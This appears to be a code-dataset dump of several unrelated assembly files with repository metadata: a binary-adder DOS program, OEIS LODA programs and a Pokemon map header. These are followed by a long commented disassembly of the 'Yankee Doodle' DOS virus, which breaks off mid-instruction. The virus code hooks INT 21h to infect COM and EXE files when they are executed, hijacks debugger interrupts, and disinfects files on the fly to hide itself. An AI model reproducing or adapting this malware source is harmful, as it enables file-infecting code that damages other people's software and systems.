00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
33.583691
2,999
0.659297
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NC/_zr_/i7-7700_9_0xca.log_21829_1849.asm
7,825
Assembly
.MODEL SMALL .STACK 100H .DATA PROMPT_1 DB 'Enter the first binary number ( max 8-digits ) : $' PROMPT_2 DB 'Enter the second binary number ( max 8-digits ) : $' PROMPT_3 DB 'The SUM of given binary numbers in binary form is : $' ILLEGAL DB 'Illegal character. Try again.$' .CODE: MAIN PROC MOV AX, @DATA MOV DS, AX JMP @INPUT1 @ERROR1: MOV AH, 02H MOV DL, 0DH INT 21H MOV DL, 0AH INT 21H MOV AH, 09H LEA DX, ILLEGAL INT 21H MOV AH, 02H MOV DL, 0DH INT 21H MOV DL, 0AH INT 21H @INPUT1: MOV AH, 09H LEA DX, PROMPT_1 INT 21H MOV AH, 01H MOV CX, 08H MOV BL, 00H @INP1: INT 21H CMP AL, 0DH JE @CHECKC1 JMP @L1 @CHECKC1: CMP CX, 08H JE @ERROR1 JMP @INPUT2 @L1: CMP AL, '0' JL @ERROR1 CMP AL, '1' JG @ERROR1 AND AL, 01H SHL BL, 01H OR BL, AL LOOP @INP1 JMP @INPUT2 @ERROR2: MOV AH, 02H MOV DL, 0DH INT 21H MOV DL, 0AH INT 21H MOV AH, 09H LEA DX, ILLEGAL INT 21H MOV AH, 02H MOV DL, 0DH INT 21H MOV DL, 0AH INT 21H @INPUT2: MOV AH, 02H MOV DL, 0DH INT 21H MOV DL, 0AH INT 21H MOV AH, 09H LEA DX, PROMPT_2 INT 21H MOV AH, 01H MOV CX, 08H MOV BH, 00H @INP2: INT 21H CMP AL, 0DH JE @CHECKC2 JMP @L2 @CHECKC2: CMP CX, 08H JE @ERROR2 JMP @CALC @L2: CMP AL, '0' JL @ERROR2 CMP AL, '1' JG @ERROR2 AND AL, 01H SHL BH, 01H OR BH, AL LOOP @INP2 @CALC: MOV AH, 02H MOV DL, 0DH INT 21H MOV DL, 0AH INT 21H MOV AH, 09H LEA DX, PROMPT_3 INT 21H ADD BL, BH JNC @PRINT MOV AH, 02H MOV DL, '1' INT 21H @PRINT: MOV CX, 08H @NCO: SHL BL, 01H JC @ONE MOV AH, 02H MOV DL, '0' INT 21H LOOP @NCO JMP @END @ONE: MOV AH, 02H MOV DL, '1' INT 21H LOOP @NCO @END: MOV AH, 4CH INT 21H MAIN ENDP END MAIN
15.98773
71
0.411742
[ "MIT" ]
WardunIslam/CSE331L_Section_7_Summer_2020_NSU
Practice/Final/Lab 5/7. Write an ASM code to read a binary number (8-digit) and print the sum.asm
2,606
Assembly
; A170279: Number of reduced words of length n in Coxeter group on 30 generators S_i with relations (S_i)^2 = (S_i S_j)^41 = I. ; 1,30,870,25230,731670,21218430,615334470,17844699630,517496289270,15007392388830,435214379276070,12621216999006030,366015292971174870,10614443496164071230,307818861388758065670,8926746980273983904430 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $3,$2 mul $2,29 lpe mov $0,$2 div $0,29
30.5
201
0.763466
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/170/A170279.asm
427
Assembly
; A067318: Total number of transpositions in all permutations of n letters. ; Submitted by Jamie Morken(s4) ; 0,1,7,46,326,2556,22212,212976,2239344,25659360,318540960,4261576320,61148511360,937030429440,15275952518400,264030355814400,4823280687052800,92865738644582400,1879691760950169600,39905092126771200000,886664974825728000000,20579539231771914240000,498057418341861396480000,12547974425199027978240000,328590122271573446000640000,8931123430144184245616640000,251625910603184721156833280000,7339524972050467700732067840000,221383097838591551415272079360000,6897904032976197899139927244800000 add $0,1 mov $2,$0 mov $3,1 lpb $0 mul $2,$0 sub $2,$3 mul $3,$0 sub $0,1 lpe mov $0,$2
46.333333
489
0.848921
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/067/A067318.asm
695
Assembly
Route2_h: db 00 ; Tileset db ROUTE_2_HEIGHT,ROUTE_2_WIDTH ;Height,Width blocks (1 block = 4x4 tiles) dw Route2Blocks, Route2TextPointers, Route2Script db NORTH | SOUTH ;Connection Byte NORTH_MAP_CONNECTION ROUTE_2, PEWTER_CITY, -3, 2, PewterCityBlocks SOUTH_MAP_CONNECTION ROUTE_2, VIRIDIAN_CITY, -3, 2, ViridianCityBlocks, 1 dw Route2Object ;Object Data Pointer
41.111111
75
0.802703
[ "MIT" ]
ETDV-TheVoid/pokemon-rgb-enhanced
data/mapHeaders/route2.asm
370
Assembly
;THE YANKEE DOODLE VIRUS ;POOR DISASSEMBLY OF IT MANY REFRENCE MADE AS ABSOLUTE WHEN THEY SHOULD ;BE REFRENCE TO LOCATIONS IN PROGRAM ;WILL WORK IF NO CHANGES MADE TO CODE ;EXCUSE SOME OF THE COMMENTS WHICH MAKE NO SENSE .RADIX 16 INT01_OFFS EQU 0004 INT03_OFFS EQU 000C MEM_SIZE EQU 0413 TIMER_HI EQU 006E TIMER_LO EQU 006C ;****************************************************************************** ;The host program starts here. This one is a dummy that just returns control ;to DOS. host_code SEGMENT byte ASSUME CS:host_code, ds:host_code ORG 0 db 1eh dup (0) HOST: DB 0B8H, 00H, 4CH, 0CDH DB '!OS SYS' DB 7,0,0,0,0 host_code ENDS vgroup GROUP virus_code virus_code SEGMENT byte ASSUME cs:virus_code, ds:virus_code ;data AREA TOP_VIR: db 0f4h db 7ah DB 2Ch ;used as a marker D003 DB 00 FSIZE1 DW 0000 ;filsize being infected FSIZE2 DW 0223 ;in bytes hex of course D1 Dw 0abeh ;used as a marker TOP_HOST DW 5A4DH ;USED AS A FILE BUFFER ;WHEN FILE IS EXE BELOW IS TRUE ;SIGANATURE P_SIZE DW 0023 ;LAST PAGE SIZE P_COUNT DW 0002 ;PAGE COUNT RELOC DW 0000 ;RELOC TABEL ENTRIES H_PARA DW 0020 ;#HEADER PARAGRAPHS MINALLOC DW 0001 ;MIN ALLOC OF MEM MAXALLOC DW 0FFFF ;MAX ALLOC OF MEM I_SS DW 0000 ;INTIAL SS I_SP DW 0000 ;INTIAL SP CHECKSUM DW 0000 ;CHECKSUM I_IP DW 0000 ;I_IP PRE INFECTION I_CS DW 0000 ;I_CS REL_OFFSET DW 003E ;RELOCATION OFFSET O_NUM DW 0000 ;OVERLAY NUM ;EXTRA NOT USED DURING EXE ;HEADER READING REM1 DB 01,00,0FBH,30 ;D0026 ;end of top_host buffer ;*********************************************************************** OLD_INT21_OFS DW 109E OLD_INT21_SEG DW 0116 OLD_INT21_OFS2 DW 109E OLD_INT21_SEG2 DW 0116 OLD_INT24_OFS DW 0155 OLD_INT24_SEG DW 048Ah OLD_INT1C_OFS DW 0FF53 OLD_INT1C_SEG DW 0F000 F_HANDLE DW 5 ;3A F_TIME DW 5002 ; F_DATE DW 1ACC ;3E ;USED IN VIT INT 1C PART X1 DW 00DE ;0040 X2 DW 006A ;0042 BUFFER1 DB 2E,83,3E,5E,0C BUFFER1A DB 0F4,06,70,00 BUFFER2 DB 2E,83,3E,5E,0C BUFFER2A DB 0F4,06,70,00 SNARE DB 00 ;0056 X4 DB 00 F_ATTR DB 20 PLAY_TUNE DB 01 ;0059 REM2 DB 00 ;005A COMFILE DB 00 INFEC_FL DB 00 CTRL_FLAG DB 00 ;5D COUNTER DB 7BH ;5E X7 DB 01 ;5F X8 DW 00 ;60 PAGE_16 DW 0010 ; HOST_IP DW 0100 ;FOR COM FILE INFECTIONS EXE_PG_SIZE DW 0200 ; C_OFFSET_21 DW OFFSET CALL_INT21 ;2CFH X101 DB 0C7,11 X10 DB 0C7,11 ; X11 DB 0E6,0F ;006E X12 DB 28,0E ;70 DB 0C7,11 ;72 DB 28,0E ;74 DB 0E6,0F ;76 DB 0C4,17 ;78 DB 0C7,11,0C7,11 ;7a DB 0E6,0F ;7e DB 28,0E,0C7,11 ;80 DB 0C7,11,0C7,11 ;84 DB 0C7,11,0E6,0F ;88 DB 28, 0E, 59, 0Dh ;8c DB 28,0E,0E6,0f ;90 DB 0C7, 11, 0ef, 12 DB 0C4,17 DB 2C,15 DB 0EF DB 12,0C7 DB 11,0C7 DB 11,2C DB 15,0EF,12 DB 2C,15 DB 0C5,1A DB 2C,15 DB 0EF DB 012,0C7 DB 011,2C DB 015,0C4,17 DB 02C,15 DB 0C4,17 DB 0C5,1A DB 67 ;BA DB 1C,0C5 DB 1A,0C4 DB 17 DB 2C,15 DB 0EF DB 12,2C DB 15,0C5,1A DB 2C,15 DB 0EF DB 12,0C7 DB 11,2C DB 15,0C4,17 DB 0C7,11,0EF,12 DB 0E6,00FH DB 0C7,11,0C7,11 DB 0FF,0FF DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 09,09 DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 09,09 DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 05,05,05 DB 05,05,06 DB 05,05,05 DB 05,05,05 DB 05,06,05 DB 05,05,05 DB 09,09 ;115 NEW_PONG: DB 0FEh, 06h, 7Ah, 7Dh ;INC BYTE PTR [7D7A] 0117 DB 0FEH, 06, 0FBH, 7Dh ;INC BYTE PTR [7DFB] DB 74,05 ;JZ 0126 DB 0EA,00,7C,00,00 ;JMP 0000:7C00 DB 0FC ;CLD DB 33,0C0 ;XOR AX,AX DB 8E,0C0 ;MOV ES,AX DB 0BE, 2Ah, 7Dh ;MOV SI,7D2A DB 0BF, 4Ch, 00 ;MOV DI,004C DB 0A5 ;MOVSW DB 0A5 ;MOVSW DB 26 ;ES: DB 83, 06, 13, 04, 02 ;ADD WORD PTR [0413],+02 DB 0EAh, 00, 7Ch, 00, 00 ;JMP 0000:7C00 0139 ;DATA ENDS ;****************************************************************** P_MIN_MAX_ALLOC PROC NEAR ;ENTRY SI = 14H = OFFSET MINALLOC ; 16H = OFFSET MAXALLOC ;THIS PROCEDURE ALTERS THE GIVEN VALUES ;TO BE USEFULE TO THE VIRUS WHEN GOING TSR ;by editing the min and max memory requirments ;so that it doesn't need to release mem to go memory resident MOV AX,[SI] SUB AX,0BBH JB TOSMALL CMP AX,08 NOP JB TOSMALL EXIT_MIN_MAX: MOV [SI],AX RETN TOSMALL: MOV AX,09 JMP short EXIT_MIN_MAX P_MIN_MAX_ALLOC ENDP ;************************************************************************* HOOK_1_3 PROC NEAR ;CALLED BY SET_TO_HOOK1_3 ; ON ENTRY HAS DI = 44 BX= 4 ; DI = 4D BX= C ; DS = CS OF HERE BY VIR INT 1C PUSH SI PUSH DS PUSH CX PUSH DS POP ES ;ES POINTS HERE MOV DS,WORD PTR [X7 + 1] ;APPARENTLY = 0000 ; LDS SI,DWORD PTR [BX] ;loads DS:SI = DS:[bx] ; MOV WORD PTR ES:[DI+ 5],SI ; MOV WORD PTR ES:[DI+ 7],DS ; CMP BYTE PTR [SI],0CFH ; JE EXIT_HOOK_1_3 ;J17D ;if we get this far hook by manliputaing the vector table ;si = vector for int1 or int3 ;int used by debug programs CLD MOV CX,0005 REPZ MOVSB MOV BYTE PTR [SI-05],9A ;flag MOV WORD PTR [SI-04],OFFSET anti_DEBUG ;a ip 01c3 MOV WORD PTR [SI-02],CS ;a cs EXIT_HOOK_1_3: POP CX POP DS POP SI RETN HOOK_1_3 ENDP ;*************************************************** SET_TO_HOOK1_3 PROC NEAR ;CALLED BY VIR INT 1CH PUSH BX PUSH DI MOV BX,INT01_OFFS ;0004 VECTOR TO INT3 MOV DI,OFFSET BUFFER1 ;0044 CALL HOOK_1_3 ;SET UP HOOK INT 1 MOV BX,INT03_OFFS ;000C VECTOR TO INT3 MOV DI,OFFSET BUFFER2 ;004D CALL HOOK_1_3 ;SET UP TO HOOK INT 3 POP DI POP BX RET SET_TO_HOOK1_3 ENDP ;************************************************************************* RESTORE_1_3 PROC NEAR ;ENTRY SI = BUFFER1 ;2E,83,3E,5E,0C F4,06,70,00 ; BUFFER2 ;NOT SURE WHY BUT IT SEEMS THAT THIS CODE WILL CHECK FOR MEM LOCATION ; 0070:60F4 = 9A,01,C3 IF THERE IT WILL ;RESTORE OF BUFFER1/2 OVER THIS LOCATION WHICH WAS THE ORGINAL ; VECTOR ADDRESS INT PUSH CX PUSH DI LES DI,DWORD PTR [SI+05] ;load this 4 bytes as a mem ;location into es:di ;0070:06f4 CMP BYTE PTR ES:[DI],9A JNE EXIT_RESTORE_1_3 CMP WORD PTR ES:[DI+01],OFFSET anti_DEBUG JNE EXIT_RESTORE_1_3 MOV CX,5 ; MOV 5 BYTES CLD ; FROM DS:[SI] REPZ MOVSB ; HERE:[BUFFERX] ; TO ES:[DI] ; 0070:06F4 EXIT_RESTORE_1_3: POP DI POP CX RETN RESTORE_1_3 ENDP ;************************************************************* SET_TO_REST_1_3 PROC ;THIS PROCEDURE SEEMS TO RESTORE THE THE INT 1 AND 3 TO THERE PROPER ;LOCATIONS IF WE HAVE ALTERED THEM IT CHECK AND CORRECTS THEM ;IN RESTORE_1_3 ;CALLED BY VIR INT 1C PUSH SI MOV SI,OFFSET BUFFER2 CALL RESTORE_1_3 MOV SI,OFFSET BUFFER1 CALL RESTORE_1_3 POP SI RETN SET_TO_REST_1_3 ENDP ;********************************************************************** ;J01C3 ;called int 1\ used by debuggers not program is disenfected if ; int 3/ resident and td or debug is used ; BY PUTTING IN TO THE INT VECTOR FOR INT 1 OR AND INT 3 ;THE ADDRESS OF THIS SPOT ;BY HOOK_1_3 ; anti_DEBUG PROC ; P_01C3 ; A PUSH BP ; 8 MOV BP,SP ; FLAGS 6 PUSHF ; CS 4 ; IP 2 PUSH ES ; BP <-BP PUSH DS PUSH BX PUSH AX PUSH CS pop DS CALL SET_TO_REST_1_3 ;RESTORE PROPER VECTORS ;IF ALTERED WHICH TO GET HERE IT ;ONE OF THEM WOULD HAVE HAD TO BEEN MOV AX,CS ;this test if the calling CMP WORD PTR [BP+08],AX ;return to from this is JE viral_cs ;J020C is our cs MOV DS,WORD PTR [BP+08] CMP WORD PTR [BX+OFFSET TOP_VIR+2],2C ; THIS INFO IS LOCATED AT TOP JNE EXIT_TO_VIR ; OF VIRUS AND MAYBE AT END AS ; END AS WELL CMP WORD PTR [BX+OFFSET TOP_VIR],7AF4 ; JNE EXIT_TO_VIR ; ;CMP WORD PTR [BX + 0008h],0ABE db 81, 0bf, 08, 00, 0be, 0a JNE EXIT_TO_VIR MOV AX,DS ; BX /16 BY {4 SHR} SHR BX,1 ; WHAT WAS IN BX OFFSET OF VIRUS SHR BX,1 ; BX APPEARS TO POINT TO SHR BX,1 ; TOP VIRUS SHR BX,1 ; CS + IP/16 = EA ADD AX,BX ; MOV DS,AX ;DS = SOM EFFECTIVE ADDRESS JMP SHORT viral_cs ; EXIT_TO_VIR: ;J0201 SUB WORD PTR [BP+02],05 POP AX POP BX POP DS POP ES POPF POP BP RETF viral_cs: CALL P_030E MOV AX,WORD PTR [BP+0A] INC BYTE PTR [REM2] ;005A IF = 0A FLAGS TEST AX,0100 ; 08 CS JNZ J0222 ; 06 IP DEC WORD PTR [BP+06] ; 4 DEC byte PTR [REM2] ;005A 2 ; BP J0222: AND AX,0FEFFH ; TURNS OFF IF FLAG MOV [BP+0A],AX ; IF ON PUSH CS POP DS CALL SET_TO_HOOK1_3 ; THIS CALL SETS UP THE ; INTERUPTS 1 AND 3 ; TO GO HERE IF ; THINGS MATCH POP AX POP BX POP DS POP ES POPF POP BP ADD SP,+04 ;REMOVE LAST 2 PUSH IRET anti_DEBUG ENDP ;************************************************************************ VIR_INT_1C PROC PUSH BP MOV BP,SP PUSHF PUSH AX PUSH BX PUSH DS PUSH ES PUSH CS POP DS CALL SET_TO_REST_1_3 ;AGAIN RESTORES 1 AND 3 INT ; TO PROPER LOCATIONS ;IF NEED BE CALL SET_TO_HOOK1_3 ;ALTERS THE 1 AND 3 INT ; TO OUR INT HANDLER ;IF SOMETHING IS WRONG MOV AX,0040 MOV ES,AX TEST BYTE PTR [COUNTER],07 JNE WRONG_TIME ;J0274 ;NOTICE THAT THIS CMP INSTRUCTIONS ARE LOOKING AT 0040: CMP WORD PTR ES:[TIMER_HI],11 ; JNE WRONG_TIME ;J0274 CMP WORD PTR ES:[TIMER_LO],00 ; JNE WRONG_TIME ;J0274 MOV BYTE PTR [PLAY_TUNE],00 MOV WORD PTR [X1],00DE ;0040 MOV WORD PTR [X2],006A ;0042 WRONG_TIME: ;J0274 CMP BYTE PTR [PLAY_TUNE],1 ;01 MEANS NO JE EXIT_VIR_1C ;J02C4 CMP BYTE PTR [X4],00 ; JE J0288 DEC BYTE PTR [X4] JMP SHORT EXIT_VIR_1C J0288: MOV BX,[X2] CMP WORD PTR [BX],0FFFFH JNE J029E IN AL,61 AND AL,0FC OUT 61,AL MOV BYTE PTR [PLAY_TUNE],01 JMP short EXIT_VIR_1C J029E: MOV AL,0B6 OUT 43,AL MOV AX,[BX] OUT 42,AL MOV AL,AH OUT 42,AL IN AL,61 OR AL,03 OUT 61,AL ADD WORD PTR [X2],+02 MOV BX,WORD PTR [X1] MOV AL,[BX] DEC AL MOV BYTE PTR [X4],AL INC WORD PTR [X1] EXIT_VIR_1C: POP ES POP DS POP BX POP AX POPF POP BP JMP DWORD PTR CS:[OLD_INT1C_OFS] VIR_INT_1C ENDP ;************************************************************* CALL_INT21: JMP DWORD PTR CS:[OLD_INT21_OFS] REAL_INT21: JMP DWORD PTR [OLD_INT21_OFS] ;************************************************************* P_02D8 PROC NEAR ;CALLED BY HANDLE_4B PUSH BP MOV BP,SP CLD PUSH [BP+0AH] PUSH [BP+08] PUSH [BP+04] CALL P_09C8 ADD SP,+06 ;REMOVE LAST 3 PUSHES PUSH [BP+0CH] PUSH [BP+06] PUSH [BP+08] CALL P_0A58 ADD SP,+06 ;REMOVE LAST 3 PUSHES PUSH [BP+0CH] PUSH [BP+08] PUSH [BP+06] PUSH [BP+04] CALL P_0A7F ADD SP,+08 POP BP RETN P_02D8 ENDP ;********************************************************************** P_030E PROC ;CALLED BY HANDLE_4B ;CALLED BT VIR INT 1 INT3 IN HIGH MEM ;IN INT 3 1 CASE IT SEEMS ;THAT DX= EA 0F TOP OF VIRUS POSSIBLE ;TO RETURN 5 WORDS IN STACK TOP 3 = FL,CS,IP ;BOTTOM 2 ARE THROWN OUT PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH ES PUSHF CLI ;CLEAR IF MOV AX,8 ; PUSH AX ;1 MOV AX,00AE ; PUSH AX ;2 MOV AX,OFFSET VGROUP:BOT_VIR ;B40 MOV CL,04 ; SHR AX,CL ; MOV DX,DS ; ADD AX,DX ; PUSH AX ;3 END OF VIRUS EA MOV AX,OFFSET J0AC0 ; 0AC0b SHR AX,CL ; ADD AX,DX ; PUSH AX ;4 MOV AX,0060 ; SHR AX,CL ; ADD AX,DX ; PUSH AX ;5 CALL P_02D8 ADD SP,0AH ;REMOVE LAST 5 PUSHES POPF POP ES POP DI POP SI POP DX POP CX POP BX POP AX RETN P_030E ENDP ;***************************************************************** WRITE_FILE PROC NEAR MOV AH,40 jmp short r_w_int21 READ_FILE: MOV AH,3F R_W_INT21: CALL I21_F_HANDLE ;J035C JB J0357 CMP AX,CX J0357: RETN WRITE_FILE ENDP ;****************************************************************** START_FILE PROC NEAR XOR AL,AL MOV_F_PTR: MOV AH,42 ;MOVE FILE PTR I21_F_HANDLE: MOV BX,WORD PTR CS:[F_HANDLE] C2_INT21: PUSHF CLI ;CLEAR IF CALL DWORD PTR CS:[OLD_INT21_OFS2] RETN START_FILE ENDP ;********************************************************************* FORCE_WRITE PROC NEAR PUSH BX PUSH AX MOV BX,WORD PTR CS:[F_HANDLE] MOV AH,45 ;GET DUPLICATE FILE HANDLE CALL C2_INT21 JB WRITE_ER ;J0380 MOV BX,AX MOV AH,3E CALL C2_INT21 JMP short NO_PROBLEM WRITE_ER: CLC ; CLEAR CF NO_PROBLEM: POP AX POP BX RET FORCE_WRITE ENDP ;****************************************************************** VIR_INT24: MOV AL,03 IRET HANDLE_C603: ;THIS IS THE INSTALATION CHECK CALLED ON BY THE VIRUS ;CHECKS TO SEE IF IN INSTALLED IN MEMORY ;CALLED CF CLEAR, BX SET 002C, AX SET C603 ; RETURNS ; IF CF IS SET THEN THEN IT IS INSTALLED ; MOV AX,02DH TEST BYTE PTR CS:[X7],02 JNZ J393 DEC AX J393: CMP BX,AX XOR AL,AL ;ZEROS AL RCL AL,1 ;ROTATE LEFT THRU CARRY ;SHIFTS AL 1 BIT TO LEFT THRU CF ;MOVES THE CF BIT INTO AH PUSH AX MOV AX,002C TEST BYTE PTR CS:[X7],04 JNZ J3A6 INC AX J3A6: CMP BX,AX LES BX,DWORD PTR CS:OLD_INT21_OFS2 ;LOADS ES WITH SEGMENT ; ADDRESS AND BX OFFSET ; IE. ES:BX -> OLD_INT21_OFS POP AX ; INC SP ; INC SP ; SP=SP+2 REMOVE LAST 1 PUSH ; IE. LAST PUSHF STI ;SET INTERUPT FLAG RETF 2 ; RETURN TO HOST ;END HANDLE_C603 HANDLE_C600: ;REASON UNKNOW ; DOESN'T SEMM TO BE CALLED BY THIS VIRUS ; MOV AX,2C JMP short HANDLE_C5 HANDLE_C601: ;REASON ? ;DOESN'T SEEM TO BE CALLED BY VIRUS ; MOV AL,BYTE PTR CS:[X7] XOR AH,AH JMP short HANDLE_C5 HANDLE_C602: ;REASON ? ;DOESN'T SEEM TO BE CALLED BY VIRUS ; MOV BYTE PTR CS:[X7],CL JMP SHORT HANDLE_C5 VIR_INT_21 PROC PUSHF CMP AH,4BH ; LOAD EXEC CALL JZ HANDLE_4B ; LET VIRUS GO CMP AH,0C5 JZ HANDLE_C5 CMP AX,0C600 JZ HANDLE_C600 CMP AX,0C601 JZ HANDLE_C601 CMP AX,0C602 JE HANDLE_C602 CMP AX,0C603 JE HANDLE_C603 POPF JMP GOTO_INT21 ;NONE OF OUR INTERRUPTS LET ;DOS INT 21 HANDLE IT HANDLE_C5: POPF ; SETS THE MASKABLE INTERUPTS ON STI ; STC ; SETS THE CF FLAG RETF 2 ; HANDLE_4B: PUSH AX XOR AL,AL XCHG AL,BYTE PTR CS:[INFEC_FL] ;POSSIBLE VAL = 00, FF ;00 OR 00 = 0 ZF SET ;FF OR FF = FF ZF CLEAR ;IF FF CONTINUE TO ATTEMPT ;INFECTION PROCESS OR AL,AL POP AX JNZ CONT POPF JMP GOTO_INT21 ;INFEC_FL = 00 SO LET ;DOS HANDLE IT CONT: PUSH DS ;SAVE DS = FILE DS PUSH CS ;SET DS TO CS POP DS ;TSR INFECTION CALL P_030E ; MOV WORD PTR [OFFSET C2_INT21],9090 CALL P_030E ; POP DS ;RESTORE DS TO FILE DS PUSH ES ;BP E ; PUSH DS ;BP C ;SAVE REGS PUSH BP ;BP A ;THAT MAY BE PUSH DI PUSH SI ;BP 8 ; DESTROYED PUSH DX ;BP 6 ;LATER TO PUSH CX ;BP 4 ;BE RESTORED PUSH BX ;BP 2 ;FOR RETURN TI INT 21 PUSH AX ;BP ; ;BP POINTS AT AX MOV BP,SP PUSH CS ;DS = TSR INFECTION POP DS ; CMP BYTE PTR [REM2],00 ;INFECTED = 00 IF EQUAL JE J429 ;NOT INFECTED YET JMP LEAVE_ J429: INC BYTE PTR [COUNTER] PUSH [BP+0E] ; PUSH [BP+06] ; CALL OPEN_FILE LAHF ;LOAD AH WITH FLAGS ADD SP,+04 ;REMOVE LAST 2 PUSHS SAHF ;LOAD FLAGS WITH AH JNB CHK_FOR_INFEC ;IF NO ERROR JMP LEAVE_ ;PROBALY ERROR CHK_FOR_INFEC: ; J440 XOR CX,CX ; SET PTR TO START OF XOR DX,DX ; VICTIM CALL START_FILE ; MOV DX,OFFSET TOP_HOST ;READ 14 BYTES TO MOV CX,14 ; CALL READ_FILE ; JB ALREADY_INFECTED ;ERROR ; USE CHECKSUM TO FIND POSSIBEL WHERE FILE INFECTION OCCURS ; PLACE PTR THERE MOV AX,WORD PTR [CHECKSUM] ;CHECKSUM * 10 MUL WORD PTR [PAGE_16] ;=0010H DX:AX = ORG_SIZE MOV CX,DX ;MOV RESULTS INTO CX MOV DX,AX ;DX CALL START_FILE ;SET POINTER TO A POINT ;CX:DX FROM START ;WHICH IN A INFECTED FILE ;WOULD BE START OF VIRUS ;READ TO THIS LOCATION FORM FILE MOV DX,OFFSET TOP_VIR ;READ TO THIS LOCATION MOV CX,2A ;2A BYTES CALL READ_FILE ; JB NOT_INFECTED ;IF ERROR FILE NOT THAT LONG ; CAN'T BE INFECTED ; NOW COMPARE TO SEE IF FILE IS INFECTED CMP WORD PTR [TOP_VIR],7AF4 ; JNE NOT_INFECTED ;NOT INFECTED GO INFECT MOV AX,002C CMP BYTE PTR [BP+00],00 JNE J483 TEST BYTE PTR [X7],02 ;JUMP IF AN AND OPERATION JZ J484 ;RESULTS IN ZF SET J483: INC AX ; J484: CMP WORD PTR [TOP_VIR+2],AX ;JUMP IF TOP_VIR+2 => AX JNB ALREADY_INFECTED ; ;FILE IS ALREADY INFECTED RESTORE TO ORGINAL FORM XOR CX,CX ;SET FILE PTR TO XOR DX,DX ;ACTUAL START OF CALL START_FILE ;FILE MOV DX,OFFSET TOP_HOST ; MOV CX,20H ; CALL WRITE_FILE ; JB ALREADY_INFECTED ;ERROR CALL FORCE_WRITE ; THIS WOULD EFFECTIVELY ; DISINFECT FILE JNB J4A4 ALREADY_INFECTED: JMP CLOSE_EXITVIR ; FILE NOW DISINFECTED J4A4: MOV CX,WORD PTR [FSIZE1] ;GOTO END OF HOST MOV DX,WORD PTR [FSIZE2] ; CALL START_FILE ; XOR CX,CX ;WRITE 00 BYTES CALL WRITE_FILE ;IF ERROR JB ALREADY_INFECTED ;EXIT CALL FORCE_WRITE JB ALREADY_INFECTED ;AT THIS TIME THE POSSIBLE INFECTION HAS BEEN REMOVED AND THE FILE RESTORE TO ;ORGIONAL SIZE AND FUNCTION JMP CHK_FOR_INFEC ;J440 NOT_INFECTED: ;J4BD MOV AL,02 MOV CX,0FFFF MOV DX,0FFF8 CALL MOV_F_PTR MOV DX,OFFSET TOP_HOST ;BUFFER TO READ INTO MOV CX,08H ;FOR LENGTH CALL READ_FILE JB ERROR_LVE CMP WORD PTR [P_COUNT],7AF4 ;IF == MAYBE INFECTED JE MAKE_SURE ;J4E0 JMP SHORT INFECT ;J538 ERROR_LVE: JMP CLOSE_EXITVIR ;J6AE MAKE_SURE: CMP BYTE PTR [RELOC],23 ; IF >= JNB ERROR_LVE ;IT IS INFECTED MOV CL,BYTE PTR [RELOC+1] ; ???? MOV AX,WORD PTR [TOP_HOST] ; POSSIBLE SETING UP JUMP MOV WORD PTR [FSIZE2],AX ; FOR COM FILE MOV AX,WORD PTR [P_SIZE] ; SUB AX,0103H ; WHY 103 MOV WORD PTR [TOP_HOST+1],AX ; CMP BYTE PTR [RELOC],09 ; JA J503 ; MOV CL,0E9 ; J503: MOV BYTE PTR [TOP_HOST],CL ;E9= JMP XOR CX,CX ; MOV DX,CX ; CALL START_FILE ; MOV DX,OFFSET TOP_HOST ; MOV CX,0003H ; CALL WRITE_FILE ; JB ERROR_LVE ;J4DD CALL FORCE_WRITE JB ERROR_LVE ;J4DD XOR CX,CX ;SET FILE POINTER TO END MOV DX,WORD PTR [FSIZE2] ;OF HOST FILE CALL START_FILE ; XOR CX,CX CALL WRITE_FILE JB ERROR_EXIT ;52E CALL FORCE_WRITE JB ERROR_EXIT JMP NOT_INFECTED ;J4BD ERROR_EXIT: JMP CLOSE_EXITVIR ;J6AE ;J538 INFECT: MOV WORD PTR [TOP_VIR],7AF4 MOV WORD PTR [TOP_VIR+2],2C MOV WORD PTR [TOP_VIR+8],0ABE CMP BYTE PTR [BP+00],00 JNE ERROR_EXIT ;J535 TEST BYTE PTR [X7],01 JE ERROR_EXIT ;THIS NEXT PIECE WILL TELL POINTER TO GO TO END OF FILE ;WITH OFFSET 0:0 WHICH SETS DX:AX TO #BYTES IN ENTIRE FILE ;J557 MOV AL,02 XOR CX,CX MOV DX,CX CALL MOV_F_PTR MOV [FSIZE1],DX MOV [FSIZE2],AX XOR CX,CX MOV DX,CX CALL START_FILE MOV DX,OFFSET TOP_HOST ;BUFFER MOV CX,20 ;#BYTES TO READ CALL READ_FILE ; JB ERROR_EXIT ;J535 ;CHECK FOR TYPE OF FILE BY TESTING FOR SIGNATURE MZ OR ZM ;IF NEITHER IT IS A COM FILE ;J579 CMP WORD PTR [TOP_HOST],"ZM" JE EXE_INFEC CMP WORD PTR [TOP_HOST],"MZ" JNE COM_INFEC EXE_INFEC: MOV BYTE PTR [COMFILE],00 MOV AX,WORD PTR [P_COUNT] ;000E MUL WORD PTR [EXE_PG_SIZE] ;0066 = 200H SUB AX,[FSIZE2] ;AX=#BYTES IN HOST SBB DX,[FSIZE1] ;IF BELOW ERROR SOMEPLACE JB J5E1 ;J5E1 EXIT ERROR MOV AX,WORD PTR [I_SS] ;0018 MUL WORD PTR [PAGE_16] ;0062 ADD AX,WORD PTR [I_SP] ;001A MOV CX,DX ;SAVE RESULT EFF ADDRESS OF MOV BX,AX ;SS:SP AT START OF PROGRAM MOV AX,[H_PARA] ;0012 MUL WORD PTR [PAGE_16] ;0062 MOV DI,WORD PTR [FSIZE1] MOV SI,WORD PTR [FSIZE2] ADD SI,+0F ADC DI,+00 AND 